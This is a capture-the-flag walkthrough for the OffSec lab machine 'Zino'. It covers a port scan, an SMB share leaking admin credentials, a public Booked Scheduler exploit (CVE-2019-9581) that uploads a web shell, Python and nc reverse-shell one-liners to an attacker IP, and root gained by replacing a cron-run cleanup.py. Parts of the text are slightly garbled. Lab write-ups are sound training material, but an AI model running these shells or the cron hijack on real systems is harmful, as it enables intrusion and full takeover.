

tags: Offsec PG Practice Intermediate Linux # Zino

```
(kali㉿kali)-[~/pgplay]
└─$ rustscan -a 192.168.169.64 -u 5000 -t 8000 --scripts -- -n -Pn -sVC

Open 192.168.169.64:21
Open 192.168.169.64:22
Open 192.168.169.64:139
Open 192.168.169.64:445
Open 192.168.169.64:3306
Open 192.168.169.64:8003

PORT      STATE SERVICE      REASON  VERSION
21/tcp    open  ftp          syn-ack  vsftpd 3.0.3
22/tcp    open  ssh          syn-ack  OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
139/tcp   open  netbios-ssn syn-ack  Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open  netbios-ssn syn-ack  Samba smbd 4.9.5-Debian (workgroup: WORKGROUP)
3306/tcp  open  mysql?       syn-ack
8003/tcp  open  http         syn-ack  Apache httpd 2.4.38
|_http-title: Index of /
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
| http-1s: Volume /
| SIZE  TIME                FILENAME
| -      2019-02-05 21:02  booked/
|_
|_
|_ loginsmbget `misc.log`
```

```
(kali㉿kali)-[~/pgplay]
└─$ smbclient -N -L 192.168.169.64
```

Sharename	Type	Comment
-----	----	-----
zino	Disk	Logs
print\$	Disk	Printer Drivers
IPC\$	IPC	IPC Service (Samba 4.9.5-Debian)

Reconnecting with SMB1 for workgroup listing.

Server	Comment
-----	-----
Workgroup	Master
-----	-----
WORKGROUP	

```
(kali㉿kali)-[~/pgplay]
└─$ smbclient -N //192.168.169.64/zino
Try "help" to get a list of possible commands.
smb: > ls
. D 0 Thu Jul 9 15:11:49 2020
.. D 0 Tue Apr 28 09:38:53 2020
.bash_history H 0 Tue Apr 28 11:35:28 2020
error.log N 265 Tue Apr 28 10:07:32 2020
.bash_logout H 220 Tue Apr 28 09:38:53 2020
local.txt N 33 Mon Apr 8 23:03:44 2024
.bashrc H 3526 Tue Apr 28 09:38:53 2020
.gnupg DH 0 Tue Apr 28 10:17:02 2020
.profile H 807 Tue Apr 28 09:38:53 2020
misc.log N 424 Tue Apr 28 10:08:15 2020
auth.log N 368 Tue Apr 28 10:07:54 2020
access.log N 5464 Tue Apr 28 10:07:09 2020
ftp D 0 Tue Apr 28 10:12:56 2020

smb: > get misc.log
Apr 28 08:39:01 zino systemd[1]: Started Clean php session files.
Apr 28 08:39:01 zino systemd[1]: Set application username "admin"
Apr 28 08:39:01 zino systemd[1]: Set application password "adminadmin"
```

''' Go to <http://192.168.169.64:8003/booked/Web/index.php> can then use admin/adminadminlogin, Search [CVE-2019-9581](https://github.com/0sunday/Booked-Scheduler-2.7.5-RCE/blob/main/CVE-2019-9581.py) (<https://github.com/0sunday/Booked-Scheduler-2.7.5-RCE/blob/main/CVE-2019-9581.py>) use

```
(kali㉿kali)-[~/pgplay]
└─$ python3 CVE-2019-9581.py http://192.168.169.64:8003 admin adminadmin
[+] Logged in successfully.
[+] Uploaded shell successfully
[+] http://192.168.169.64:8003/booked/Web/custom-favicon.php?cmd=
$
``` Open nc, usereverse command, wait for reverse shell
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp445
```

```
$ python -c 'import
socket, subprocess, os; s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); s.connect(("192.168.45.227", 445)); os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1); os.dup2(s.fileno(), 2); import pty; pty.spawn("/bin/sh")'
```

```
$ python3 -c 'import pty; pty.spawn("/bin/bash")'
www-data@zino:/var/www/html/booked/Web$
''' /home/peterget local.txt
```

```
www-data@zino:/home/peter$ cat local.txt
92dafb4fb07677a2372724487068c74e
``` use `linpeas.sh`, cron `cleanup.py`
```

```
www-data@zino:/tmp$ wget 192.168.45.227:139/linpeas.sh
www-data@zino:/tmp$ chmod +x linpeas.sh
www-data@zino:/tmp$ ./linpeas.sh
```

```
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
```

```
17 *** root cd / && run-parts --report /etc/cron.hourly
25 6 *** root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 *** 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 *** root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/3 *** root python /var/www/html/booked/cleanup.py
''' cleanup.py
```

```
www-data@zino:/var/www/html/booked$ cat cleanup.py

#!/usr/bin/env python
import os
import sys
try:
    os.system('rm -r /var/www/html/booked/uploads/reservation/* ')
except:
    print 'ERROR...'
sys.exit(0)
``` reverseshell
```python
#!/usr/bin/env python
import os
import sys
try:
    os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.227 8003 >/tmp/f')
except:
    print 'ERROR...'
sys.exit(0)
``` Open nc, upload, wait for reverse shell, /rootget proof.txt
```

```
(kali㉿kali)-[~/pgplay]
└─$ rlwrap -cAr nc -nvlp8003
```

```
www-data@zino:/var/www/html/booked$ rm cleanup.py
www-data@zino:/var/www/html/booked$ wget 192.168.45.227:139/cleanup.py
```

**python3 -c 'import pty; pty.spawn("/bin/bash")'**

```
root@zino:~# cat proof.txt
5bf1046e883890dcaa0a21c26206ff58
```

---